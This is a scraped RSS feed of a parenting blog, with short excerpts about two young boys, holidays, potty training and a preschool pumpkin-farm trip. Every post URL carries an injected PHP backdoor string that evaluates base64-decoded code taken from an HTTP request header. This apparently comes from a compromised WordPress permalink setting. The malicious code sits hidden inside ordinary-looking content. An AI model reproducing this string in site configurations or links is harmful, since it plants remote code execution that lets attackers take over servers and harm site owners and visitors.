http://sac4kids.com/blog Let the fun begin! Sat, 14 May 2011 06:40:11 +0000 http://backend.userland.com/rss092 en One year for Mother's Day when I was young, my mother asked for "more time in the day." Huh?  Um...okay, Mom. So I made her a clock with 24 hours on it, rather than our standard 12. What a cutie I was, even then! And now I get it.  I TOTALLY get it.  ... http://sac4kids.com/blog/2011/05/13/more-time-in-the-day/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ "Mommy, the PRESENTS are here!"  That's how I was awakened Christmas morning. Priceless. Hope everyone had as much excitement in their day as we did.  Merry Christmas! http://sac4kids.com/blog/2010/12/28/just-a-few-words/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Patrick, my dear sweet boy....who told his dad, "No!  I'm not putting my shinguards away!  I'm NOT doing it!" was placed in his room for a time out today.  Me, unaware of the T.O. or what prompted it, went into his room to put away laundry and found a frowning face ... http://sac4kids.com/blog/2010/12/18/mommy-im-stuck/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ "Mommy, I just washed my hands."  Music to my ears.  Generally it's a  battle to even get the hands under the water. Why IS it that boys fight cleanliness? And it's not just the hands.  Getting my four year old (yes, I can't believe he's four either!) into the bathtub on a regular ... http://sac4kids.com/blog/2010/12/11/mommy-i-washed-my-hands/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ since I've seen that toy.... Life's a-changed here at the sac4kids camp.  We are now a family of four, and no, nobody is sleeping, thanks for asking.  Logan arrived at the end of July - and we're adjusting quite well to the change.  Well, some of us are.  The almost  four year ... http://sac4kids.com/blog/2010/09/05/its-been-a-long-time/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Spent twenty minutes turning over rocks and looking for critters this morning.  Everytime we saw a beetle or worm, Patrick said, "I tickle it!"  Which meant poking it with a stick. Gently, of course.  He's three after all. Watching Lionel Ritchie on Oprah singing his most popular Eighties love songs: Patrick: Mom, WHAT is he singing ... http://sac4kids.com/blog/2010/02/13/funny-isms/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ So,a friend of mine just told me that her refrigerator light burned out.  Really?  This really happens?  I thought they lasted forever!  I have NEVER replaced a bulb in the seven years that I have had the fridge. This news made me giggle. However, I must admit, having a husband and son ... http://sac4kids.com/blog/2009/11/08/lights-out/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ So, Patrick is just about potty-trained.  At home, he wears underwear.  Away from home, he wears a pull-up (just in case...)  I would say he's 95% there.  He's peed (appropriately) at a friend's kindergarten classroom, at preschool, and at other people's houses.  Yippee!!!! However, there is a new twist on this ... http://sac4kids.com/blog/2009/11/08/who-knew/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ So we have one of those small, preschool sized, Little Tikes basketball hoops in our living room. You know, just a few feet tall, strong enough to endure the wrath of an (almost) three year old.  Patrick and his dad play all the time. Me? Not so much. "Patrick, let's go ... http://sac4kids.com/blog/2009/10/21/smart-boy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Picking just the right one... Fall is finally here.  Yippee!!!!  Nice weather, crunchy leaves, pumpkins...I love it all!  Last week Patrick and I went on our first field trip...to The Pumpkin Farm with his preschool class.  I was so excited!  This is just my thing - memory making for Patrick, memories from ... http://sac4kids.com/blog/2009/10/17/my-favorite-part-was/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/